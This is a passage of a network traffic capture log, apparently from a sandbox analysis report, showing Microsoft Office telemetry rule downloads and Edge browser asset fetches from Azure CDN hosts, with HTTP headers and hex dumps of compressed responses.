T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.6	49895	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:35 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 10:45:35 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:35 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: bed29ea4-501e-00a0-2fb0-269d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T104535Z-17fbfdc98bb6vp4m3kc0kte9cs00000008sg000000001xpr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 10:45:35 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.6	49896	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:35 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 10:45:35 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:35 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: 4bfb087f-501e-008f-4c9c-279054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T104535Z-r1755647c666qwwlm3r555dyqc00000008800000000004tu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 10:45:35 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.6	49900	13.107.246.57	443	7768	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:36 UTC	711	OUT	GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: EntityExtractionDomainsConfig Sec-Mesh-Client-Edge-Version: 117.0.2045.55 Sec-Mesh-Client-Edge-Channel: stable Sec-Mesh-Client-OS: Windows Sec-Mesh-Client-OS-Version: 10.0.19045 Sec-Mesh-Client-Arch: x86_64 Sec-Mesh-Client-WebView: 0 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-30 10:45:36 UTC	583	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:36 GMT Content-Type: application/octet-stream Content-Length: 70207 Connection: close Content-Encoding: gzip Last-Modified: Thu, 24 Oct 2024 19:29:56 GMT ETag: 0x8DCF4623DD70062 x-ms-request-id: 987dc28b-e01e-0066-2852-2ada5d000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241030T104536Z-17c5cb586f62blg5ss55p9d6fn00000008u0000000003f14 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 10:45:36 UTC	15801	IN	Data Raw: 1f 8b 08 08 34 a0 1a 67 02 ff 61 73 73 65 74 00 ec bd 0b 97 db 36 b2 30 f8 57 b2 b9 33 b3 dd 89 d5 d6 5b dd d9 cd fa f4 d3 f1 f8 39 6d 3b 19 db f1 d5 01 49 48 a2 45 91 0c 1f 6a ab c3 be bf 7d 0b 05 80 00 08 50 52 db ce 77 ef b7 67 67 9c 16 09 14 0a 40 a1 50 a8 2a 14 c0 3f bf f7 93 78 16 ce bf ff e9 bb 3f bf 2f 92 25 8d a7 51 b8 0a 0b 78 ef 8d bb dd 07 df 7d 9f 92 39 9d fa 65 91 cc 66 90 38 1c f4 59 62 40 67 a4 8c 8a 69 94 f8 24 a2 d3 15 49 11 81 c7 f0 c0 df 0e 3c 00 94 97 e3 6b de f1 08 7b a5 11 7b a5 51 67 9e e1 6b 8c af 71 a7 cc f1 15 81 69 de 59 7d c6 d7 02 5f 8b 0e a5 ec d5 c7 5c 3f ef f8 b7 ec 35 20 ec 35 20 9d 60 89 af 14 5f 69 27 40 e0 19 e6 ce 48 27 c4 8a 66 21 be 86 1d 78 60 af 19 be 66 9d 19 e6 2e b0 ec 82 76 c2 08 5f 31 77 91 75 16 3c b7 c4 d7 Data Ascii: 4gasset60W3[9m;IHEj}PRwgg@P*?x?/%Qx}9ef8Yb@gi$I<k{{QgkqiY}_\?5 5 `_i'@H'f!x`f.v_1wu<
2024-10-30 10:45:36 UTC	16384	IN	Data Raw: 4a b0 09 cb 82 45 ac c5 f3 e8 07 bb 82 71 ba da 2a 0b c7 62 2c 30 96 c2 52 09 74 65 c0 2a 8a c3 88 95 9c 7c 3e a9 79 09 d4 fa 9a 9f 30 4a 49 28 2b d7 97 ff 7a 7b f9 fa cd f4 c9 05 68 2b 37 9c c1 08 01 cb 2f 28 f3 02 34 de 08 0c a6 34 da 38 c6 ec 48 27 33 28 96 9f 45 d9 4f 9f 12 f7 54 d2 47 a6 39 87 08 81 e9 6d 4f c1 43 97 10 bf ad 59 55 67 39 13 fe 1e 05 67 65 16 87 6c 9b f5 cb 90 60 eb 3d ea 25 09 33 8b f9 4a fb 10 ef 11 3b 7c e8 61 60 14 a0 60 b9 7c 16 e7 69 54 b1 c3 22 c0 e0 29 df c2 05 4c 8f bc f0 67 5e 04 75 33 51 9a b7 e1 61 1a 61 48 f5 c3 30 f7 62 91 d5 a8 34 39 2a 97 ff 2d f5 aa c1 c2 6c 78 e0 35 33 d1 42 b3 75 c4 be 3b f4 d0 68 83 51 a7 81 2d a0 ff 0d 5d 10 62 ed 7f 55 a5 99 9f 25 2b 2f a4 4d 09 21 65 43 c7 04 cf 93 19 f3 c1 d0 b6 e9 14 38 59 31 Data Ascii: JEqb,0Rte\|>y0JI(+z{h+7/(448H'3(EOTG9mOCYUg9gel`=%3J;\|a``\|iT")Lg^u3QaaH0b49*-lx53Bu;hQ-]bU%+/M!eC8Y1
2024-10-30 10:45:36 UTC	16384	IN	Data Raw: 2f 4d 35 19 b9 3f d5 c1 f4 52 a7 67 b3 99 ff bc b7 c2 8e 7c d3 4d 9a a5 bf dc f0 20 15 b1 bc 1f 82 9a 8d 98 a7 af db 80 6b 74 e7 ab 7c e6 18 7d 9a 2b 3e 34 2d 1a e7 c0 d5 e8 b4 a0 0e d4 7d 19 bb 69 52 58 a2 33 32 78 db 4b 2d cd 54 dd d2 2b 9c a0 29 69 1a ba 4a ee 0a 4d 33 5a 7b a7 1a 83 5f f3 f7 fe 2c 2f 84 3b 39 d0 56 82 ef 75 a4 f3 69 57 af 58 09 8c 2a 1d 24 b9 4e 6b cf 63 d0 74 99 e3 02 0f 26 7f 1a 86 a9 a8 69 fa 5a d8 25 83 c1 ea f8 fd 12 62 16 86 38 17 5a 19 6f 13 03 00 e6 6a 07 a4 40 be bb 20 de a6 de bf d1 06 75 32 1f c3 4f 67 41 ad 31 bd b0 9c ee 44 47 33 2a 92 9c d3 f6 35 64 a9 b1 d3 f6 b1 c7 a7 b4 80 af ea c1 2a 6c dd 81 a0 0b 67 ca d2 b2 11 7c 8d dc 39 47 56 d1 bd 08 e8 ec 3e 4f c9 56 d6 7a d3 9a 56 4d 17 50 41 9b 17 9b 37 36 da 2e 7c a4 ba 63 Data Ascii: /M5?Rg\|M kt\|}+>4-}iRX32xK-T+)iJM3Z{_,/;9VuiWX$Nkct&iZ%b8Zoj@ u2OgA1DG35d*lg\|9GV>OVzVMPA76.\|c
2024-10-30 10:45:36 UTC	16384	IN	Data Raw: 99 dc 5a 2e 69 cf 52 41 9e 48 c8 71 d7 39 94 dd f7 b6 3f 2a 48 d1 b5 2e 37 a4 97 5f 43 54 c9 8d d7 76 7a 14 e4 6f 3b 80 f7 6a 61 e8 6f 47 e9 2d cb 60 84 66 2b c0 b9 77 09 1b c0 32 5c aa 6c 0e 25 81 ed a0 5e 61 25 37 6f 3c a5 bc 1f 04 1a dd b1 04 1d c9 73 16 3a 58 a8 69 4d 12 c1 5e e9 66 5f 14 6c e4 9e d4 61 25 e1 2f c3 fc b8 ed df 80 5d 2b 3a 5b 4c 56 c9 72 1f 59 1d 6a 72 0b d2 b0 4c 8e d5 67 db 16 79 41 90 65 4f 4b 68 63 f6 d1 e5 db b6 6a 18 e6 ca 5f 04 79 2e 71 69 5d 0e 19 cc d9 f6 58 27 58 af 1c 18 04 f1 98 d2 bf 15 1e 37 ce e0 1e 88 54 83 3c 82 f8 a8 05 5f b0 1b 3f 2f 02 8f 31 a4 e9 1d ed 45 e6 e4 85 e6 b9 66 4c fd cd 8d e4 58 f7 79 73 8b 47 40 25 b6 0d 7f 78 ff a8 fe e7 7d 69 4a fc 00 c7 b0 37 a9 44 f0 40 1e e8 bd 41 8a b4 0a 5d 5a 2c 0e 60 f7 fb 81 Data Ascii: Z.iRAHq9?*H.7_CTvzo;jaoG-`f+w2\l%^a%7o<s:XiM^f_la%/]+:[LVrYjrLgyAeOKhcj_y.qi]X'X7T<_?/1EfLXysG@%x}iJ7D@A]Z,`
2024-10-30 10:45:36 UTC	5254	IN	Data Raw: 29 50 5f 50 34 9a d3 9a 2a 83 ab 27 93 58 c5 2b d2 9c af 2b 4e 0f 79 ac a9 56 57 20 b1 61 ca d2 f5 ed 38 df 10 b9 60 88 4c 48 ac b1 cd 10 b5 8f 76 49 19 f2 b6 d5 54 1d d1 9c b1 20 7a d3 64 f7 91 a2 0c 4d 73 6d e0 da be ee e6 87 03 9f 5e f7 4f 98 9c 12 cd 88 68 4c 2e b1 48 00 60 c3 31 74 31 8d 87 b4 32 56 02 4f bf e1 a9 3b c0 40 d6 24 8e 10 55 c7 c3 e7 8c f3 78 28 78 d3 94 de b0 5a 4d 22 eb 28 5c 22 00 98 8e 15 1a f8 ab ac 54 f4 5d 80 d0 a5 aa 6e 87 83 fd d6 f1 b0 c0 82 f7 f4 5e ef 2f 2b b8 62 a2 13 a1 4d ae 60 cf 59 3c b1 b1 f4 40 4d 41 74 7c ac 2c 5a 9e ef f4 d2 81 6d 69 e1 d3 8b 73 2c 84 2c 06 37 fd 72 38 10 a5 b2 13 51 f1 a0 a2 06 7d 3f 89 8f 72 35 a0 58 a0 46 79 2f b7 1f cc 57 92 ec c8 b4 b5 f2 5c 65 e7 30 5a 93 e3 b1 8e 5f f5 91 44 87 44 19 1d 59 83 Data Ascii: )P_P4*'X++NyVW a8`LHvIT zdMsm^OhL.H`1t12VO;@$Ux(xZM"(\"T]n^/+bM`Y<@MAt\|,Zmis,,7r8Q}?r5XFy/W\e0Z_DDY

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.6	49899	13.107.246.57	443	7768	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:36 UTC	470	OUT	GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: Shoreline Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-30 10:45:36 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:36 GMT Content-Type: application/octet-stream Content-Length: 306698 Connection: close Content-Encoding: gzip Last-Modified: Tue, 10 Oct 2023 17:24:31 GMT ETag: 0x8DBC9B5C40EBFF4 x-ms-request-id: 7344f907-e01e-0000-2090-286807000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241030T104536Z-16849878b78p8hrf1se7fucxk800000008s0000000009ngy Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 10:45:36 UTC	15800	IN	Data Raw: 1f 8b 08 08 cf 88 25 65 02 ff 61 73 73 65 74 00 ec 7d 69 93 db 46 92 e8 5f a9 f0 97 fd e0 96 05 10 00 09 4c c4 8b 17 2d f9 92 6d f9 92 6d 8d fd 66 43 51 00 0a 24 9a 20 40 e1 60 ab 7b 76 fe fb ab cc 2c 10 09 82 07 c8 a6 bc 9e 8d 0d 5b 68 b0 8e bc eb 44 55 e6 3f 3f 59 c9 3c 4d 54 55 bf db a8 b2 4a 8b fc 93 bf 89 4f dc cf ac cf ac 4f 6e c4 27 8b 26 7c 27 d7 eb 4a 27 fe bf 7f 7e 92 c6 90 19 c5 ee d4 f7 65 f0 4c f9 be ff cc f5 95 7c 26 63 df 7e 36 9b da 81 13 7b d3 d0 0e 15 d4 cd e5 4a 41 f9 77 ef 5e bf f9 ea 1d fc 7a f7 0e d2 19 1e fb 33 fd df 0c 12 63 55 45 65 ba ae 4d 06 d5 61 89 54 75 a9 1e 20 f7 f5 ab 57 2f 5e dd dd 7e ff 62 be 7c bf 58 a6 5f 05 f7 d6 8b db 9f be f8 f2 f6 f6 87 97 b7 3f f9 b7 90 ff 72 fe ad 7e ff e2 76 9d 58 77 ee 57 8b 1f de ff 14 f9 fe Data Ascii: %easset}iF_L-mmfCQ$ @`{v,[hDU??Y<MTUJOOn'&\|'J'~eL\|&c~6{JAw^z3cUEeMaTu W/^~b\|X_?r~vXwW
2024-10-30 10:45:36 UTC	16384	IN	Data Raw: a5 38 7d a8 02 c7 0a 04 ba b8 75 26 ce 55 c2 08 bf 5c 90 e7 68 0d 8c 7c 07 bb 14 ee 07 cf ac 5b ca 81 54 5b 25 f6 36 51 93 15 e8 c2 2b 22 50 fc 52 36 6d 55 35 59 19 67 e4 56 be d8 2d df fd 8c 1c b1 48 e9 85 d8 d5 6f a1 88 16 05 b8 ea d5 42 20 2f c6 fa c5 ab 21 ae b4 7e 71 4c 7c 69 3b da be 2c c4 3c 45 31 58 f6 5a d0 75 29 2d 10 91 2f b6 81 a8 f1 77 27 4d cb 46 c3 d1 f2 cb e7 17 7d 3c d0 6a 30 b1 ed 19 11 24 85 30 ed b3 77 98 0a a3 d3 4d 8a a4 58 a6 1a 92 6f 39 a0 66 5b a9 58 c4 f8 d7 db 13 a4 38 9f 53 18 72 e3 d6 58 c9 9c 2a 85 f1 21 3d 9d 12 35 51 d6 f4 74 9e 6e f9 3a 6f 4c fc e5 2c 53 f9 7a 94 a9 7c 50 ab 8e d8 56 01 86 95 11 92 ce 4d 82 a9 12 26 c6 7f 9c 55 b4 0d eb a8 c4 4f 75 f1 df 12 7e 7b 85 2d 18 bd 99 6f 4d 95 18 8d 35 7f b9 51 da bc b3 17 f2 61 Data Ascii: 8}u&U\h\|[T[%6Q+"PR6mU5YgV-HoB /!~qL\|i;,<E1XZu)-/w'MF}<j0$0wMXo9f[X8SrX*!=5Qtn:oL,Sz\|PVM&UOu~{-oM5Qa
2024-10-30 10:45:36 UTC	16384	IN	Data Raw: 56 c6 75 11 82 12 e0 b7 2c 9c d4 28 cd 82 09 ad 54 24 d2 ae 26 b9 4f 37 c4 67 1e 9d 6b d1 e4 03 44 91 0f c7 24 3e 9c a5 f8 80 ce e1 c3 bd 55 1f 7c 0d 7d f0 d6 f4 e1 f6 6d f9 6c 42 78 a7 7a 8f cf 80 2a 42 b1 ca af 46 95 01 06 85 53 be 7a 50 c8 12 ce 7e 7c 44 29 29 63 83 14 66 50 e5 69 9e ba 94 a2 14 a9 44 53 56 22 78 06 d0 d3 7d 25 3d 51 7e fc 63 e8 77 69 11 9c 24 cb 92 42 e9 e0 d4 ac cc c6 c2 0a 92 55 72 f4 61 88 91 31 1f 4c 69 b4 9b 0f a5 64 32 91 6a 99 5a 87 05 9b b8 18 4d b6 69 0c 05 60 46 80 c2 34 75 85 d5 88 cf a4 31 10 78 28 99 44 01 7e 6d 51 37 26 3d f1 aa c8 64 77 98 90 c3 4a 88 b9 d5 8c 73 bc 9b 5c 69 65 23 a6 fb 16 9b 26 25 05 ac fc cc 1e 87 56 e3 bd 7f 86 8d d9 de 4d 93 29 aa 7c fe d1 06 5b da c5 90 55 b0 c9 33 35 1b d9 51 ad b2 ea c6 9a c4 a2 Data Ascii: Vu,(T$&O7gkD$>U\|}mlBxz*BFSzP~\|D))cfPiDSV"x}%=Q~cwi$BUra1Lid2jZMi`F4u1x(D~mQ7&=dwJs\ie#&%VM)\|[U35Q
2024-10-30 10:45:36 UTC	16384	IN	Data Raw: 15 3e 36 a4 6a 67 7e 2a 42 7f 7e 14 be 1b ef d2 39 b9 d3 a0 0f a6 db fd c0 cf 6a 73 b5 e6 a0 67 39 bd 50 cf ce e5 f5 33 b4 5b f6 96 18 f6 1d 3d 5b 1c 62 ee 08 9c b4 27 31 5c bf 95 0d 07 a0 cf bc bf ec e9 f3 e3 25 7d d1 cd 7e e8 fe 69 3f 94 32 74 6d 41 40 30 f4 9d 21 ef 18 ab 09 e0 e5 30 bf 56 97 43 99 8d fb 5c b1 3a 15 2a 0c 9d 5f c9 d3 47 70 60 b0 6e 17 9c 16 bc 33 94 8f dc 87 1c 2e 65 5f 80 b0 c7 e2 bb 6a f4 3b c8 60 00 83 b2 83 02 16 e1 3f 69 68 e4 62 45 17 99 ba 9d 9d b7 00 7d 2a 5a 5f 88 af 8b 22 5d 84 79 61 b8 38 c9 2f d4 62 3c 2f ee 0a 38 04 98 69 d8 af 45 cf 43 a8 9b 3e 6e dd 69 b8 01 0b 4d c5 2a d4 d8 5d 7a b1 5f 94 d0 5d 79 e7 c9 87 c6 d5 b9 5d 89 1b 44 f3 5a 14 67 85 e9 1a ef c2 74 b9 63 86 3e c2 71 a7 08 94 eb 44 58 ad 1a 5c 09 02 5c 4d 1b c8 Data Ascii: >6jg~B~9jsg9P3[=[b'1\%}~i?2tmA@0!0VC\:_Gp`n3.e_j;`?ihbE}Z_"]ya8/b</8iEC>niM]z_]y]DZgtc>qDX\\M
2024-10-30 10:45:36 UTC	16384	IN	Data Raw: e5 2e b7 93 a4 b3 90 c2 6b ad 8a 70 f5 34 6b b8 40 3f ab 6c ff 6b b9 2f c1 49 79 7f 7f fe e2 4d 8e 52 97 9f 5c d2 a4 d2 9b 7f 21 19 ca ff db 31 e3 e4 f2 51 b8 7c 74 b3 4c aa e5 59 09 49 a3 cf 51 d6 87 a5 4c 6d 23 e7 30 3b 3e ce a2 ff dd d2 a2 4d 1f 0e 14 fd d7 52 7f fd 1c ea cf 13 55 dc a3 6d 85 4b 4e 63 b4 12 03 65 33 26 36 bd 72 f4 19 04 1a d9 86 f6 84 1c dd 9e ee 21 e8 65 4d aa 2f f0 f8 0a fb d1 85 1e 53 4d 3f 5f a5 fc d4 0d f8 28 79 f7 b1 c1 a5 fc 51 df bc 30 df bf cb 6f cb 2a 09 d7 1f 99 f4 19 6a 7e d9 a5 f8 7e 7b c5 59 31 55 b2 99 9f 7d 02 06 e8 6e c6 98 ec a9 7c 3f 2a 1d 34 e5 bd 0a 8f e7 88 3e 74 c3 0b e7 6b 10 2c 4f 53 5d 7c 86 e2 09 77 99 7d ee 02 3a 9d f3 a7 29 a2 13 79 ee 15 d2 a7 37 fd 67 b6 f7 67 33 72 df b2 23 59 ef 55 5d e5 6f cb 55 7e 43 Data Ascii: .kp4k@?lk/IyMR\!1Q\|tLYIQLm#0;>MRUmKNce3&6r!eM/SM?_(yQ0oj~~{Y1U}n\|?4>tk,OS]\|w}:)y7gg3r#YU]oU~C
2024-10-30 10:45:37 UTC	16384	IN	Data Raw: df 26 b7 09 e8 f5 8c 1d c0 e5 f5 0e 81 86 cd d1 7b 9c 8b 16 07 4d 31 65 8e 49 77 c3 9c 0b 06 79 cd 66 e0 72 84 3b 54 b9 74 ef 35 53 7d 3b 8c b0 a9 fd 1b 50 a9 de 74 45 72 7e 1b f0 2a c4 ee 75 56 a9 f1 4f 0b e2 ef 4c 0e 04 e6 c1 13 43 d1 a3 91 83 19 d3 3d c4 08 0f b5 d5 e1 f0 41 7b 02 cf 94 80 35 8c 5f 5f 02 90 85 fa 86 bb ab e1 02 93 a8 c3 01 b8 10 ce 1a 84 70 ba 2a 74 48 e2 74 7c 83 87 f5 42 38 70 15 c2 ce 65 08 08 86 a0 47 21 98 5b b8 58 62 21 c8 96 0d 6c 09 61 e7 32 c4 b3 5e a1 8d a0 20 7d 39 b0 28 5c c6 6d 21 84 b7 80 4c dc 70 c4 2e c4 f3 19 21 9c 8e d6 1f 96 d8 f4 9d 32 40 37 a4 47 84 1e d1 c7 65 89 5f 63 82 1d d4 5a 86 2d e5 f8 15 59 45 61 ea 67 ab 2d d9 61 85 e3 91 0f 94 e7 67 25 02 3d 4f 28 55 ad 17 c6 a0 29 6a 5d 21 2a cd 7e af 45 5e 0b 01 e5 6c Data Ascii: &{M1eIwyfr;Tt5S};PtEr~uVOLC=A{5__ptHt\|B8peG![Xb!la2^ }9(\m!Lp.!2@7Ge_cZ-YEag-ag%=O(U)j]!*~E^l
2024-10-30 10:45:37 UTC	16384	IN	Data Raw: c0 77 d7 f0 0b 75 ef b4 4f 20 01 c9 6e d7 8b d6 eb 26 ee 09 6d 06 c3 c0 20 42 f6 62 01 a8 b8 2e 41 68 d5 3e af 78 77 09 5e a1 a8 7e 3d bf 65 90 da ff 6d 58 c3 e3 86 29 f6 22 00 98 2a 9c 68 97 65 63 ac 5c ad 09 2b 23 82 8f 3f 2b 34 4c 1f 01 76 0d 06 ed 44 0f a9 a0 b1 63 30 c2 0d f2 ad 15 f9 9d a6 73 4a 64 c6 38 b2 91 d1 0a 38 ec f1 61 a5 51 a1 65 d6 96 da 34 5b b9 be df 70 92 06 98 c1 37 67 b8 7a fd 34 cd 5e 44 c0 aa b0 27 6e 0c f2 e2 f9 5e 7c 0a 17 b4 b4 16 73 66 52 b2 05 40 56 84 20 c3 90 88 0a 5a 8e f1 3d 96 59 b7 5f a7 63 31 3c 17 3a a9 04 30 4b 80 0e 09 8b 60 e1 5d df da 55 e1 6d 20 56 de 3a 5a 4e 4e 36 25 71 5c 12 7e f1 93 97 31 94 a1 29 89 f2 0a 40 a9 02 bf 55 03 2f 98 74 5f 78 73 cb c5 29 4c e9 ad ef d3 e0 e9 ec 15 b9 9a 03 cf 91 db 7e f5 f0 08 3e Data Ascii: wuO n&m Bb.Ah>xw^~=emX)"*hec\+#?+4LvDc0sJd88aQe4[p7gz4^D'n^\|sfR@V Z=Y_c1<:0K`]Um V:ZNN6%q\~1)@U/t_xs)L~>
2024-10-30 10:45:37 UTC	16384	IN	Data Raw: 8f 67 d5 e8 e4 34 eb e6 2c b7 a9 5c 69 a3 75 af d9 ba f6 11 ea 58 64 70 1a 03 5a 75 5c b5 f2 6d d4 e3 16 ed 7d 0a 76 94 c1 8e a7 30 9e 08 64 07 27 9d 18 c0 52 7d e4 67 ff 5d dd ba 83 b1 dc 5d 98 95 9f fd f7 4f 5a 26 c7 8a 7a a4 2b 67 ea ac d1 ee 4b f3 ee 5b 7c 55 87 5f ce 64 5a d1 d6 85 f4 9d 84 43 1d a5 d1 4e 33 c2 52 b6 ac ef d9 7f de 15 61 44 a2 b6 4f fe 03 39 27 95 29 d1 71 16 47 ff 7e 40 2f ff 09 6e 49 c5 ba 2c 58 72 fd b4 fc 2b 2f d4 a3 80 7f e2 4e fd ca 3b f8 f4 09 87 9a 38 33 24 7f 45 a2 7e d3 4f 4e 87 8c cb 8b 02 7f df 7f ff 57 75 a1 22 3d 51 a9 78 41 7d 1b c5 f8 9b d0 7f 72 fc 7d ff 85 6a 70 ab 5e dc aa 41 ca 56 bd b0 55 00 76 02 c7 a0 ea 57 7d b2 c3 fb 0a b5 58 bd 1f ab f6 63 d5 ec bd 82 b3 c7 5f d5 89 ed 15 3f f6 0a e5 7d 86 bf 7b f2 4f 82 f3 Data Ascii: g4,\iuXdpZu\m}v0d'R}g]]OZ&z+gK[\|U_dZCN3RaDO9')qG~@/nI,Xr+/N;83$E~ONWu"=QxA}r}jp^AVUvW}Xc_?}{O
2024-10-30 10:45:37 UTC	16384	IN	Data Raw: c8 b1 0e c3 45 a4 cf 34 82 9b a9 e1 c3 b1 e1 46 87 99 95 55 9a b4 be 3b 59 b1 6b f9 9e 4a 6a 38 c3 9d 71 93 60 68 53 6d 70 93 f4 d8 cb 92 d6 1c 64 0c 55 29 d1 f7 86 61 3a 23 da d5 06 e4 b2 85 18 31 bb 0e 46 71 38 52 33 8f 24 f5 9e 43 1a 6d 32 5a be 90 91 0a d3 47 69 32 eb 74 ec 30 03 b3 0a 2f 45 60 14 c3 56 8c 9b d3 2c f6 4c cc 87 6e 54 d0 da 28 ed 5d 8d 3a 4d 4a aa f1 2e 74 2f 9f 56 e9 a4 49 86 4c 15 33 4f 70 79 ad 9c 27 57 fe 5f f1 b5 af dc 2b a5 7e 6a ff d6 06 bc 0c 5d f6 df fe e1 b9 f2 44 21 e0 ef 42 ef 50 c9 9d 6d c4 b7 e0 a2 c1 1c b4 2f 36 29 c7 0d cd c5 5f 01 b2 80 f3 b0 10 3b 89 01 c5 9d d8 7c 07 2e 18 db 27 d6 4f f2 63 9c b0 f6 f2 ae c9 8b 6c b2 c4 37 76 c1 ad 55 68 26 ab 9f 6e 0d f6 97 8b d0 7b ae f0 47 ed 5d 9f e5 af 8e d0 8d 25 c1 76 f1 dc 48 Data Ascii: E4FU;YkJj8q`hSmpdU)a:#1Fq8R3$Cm2ZGi2t0/E`V,LnT(]:MJ.t/VIL3Opy'W_+~j]D!BPm/6)_;\|.'Ocl7vUh&n{G]%vH
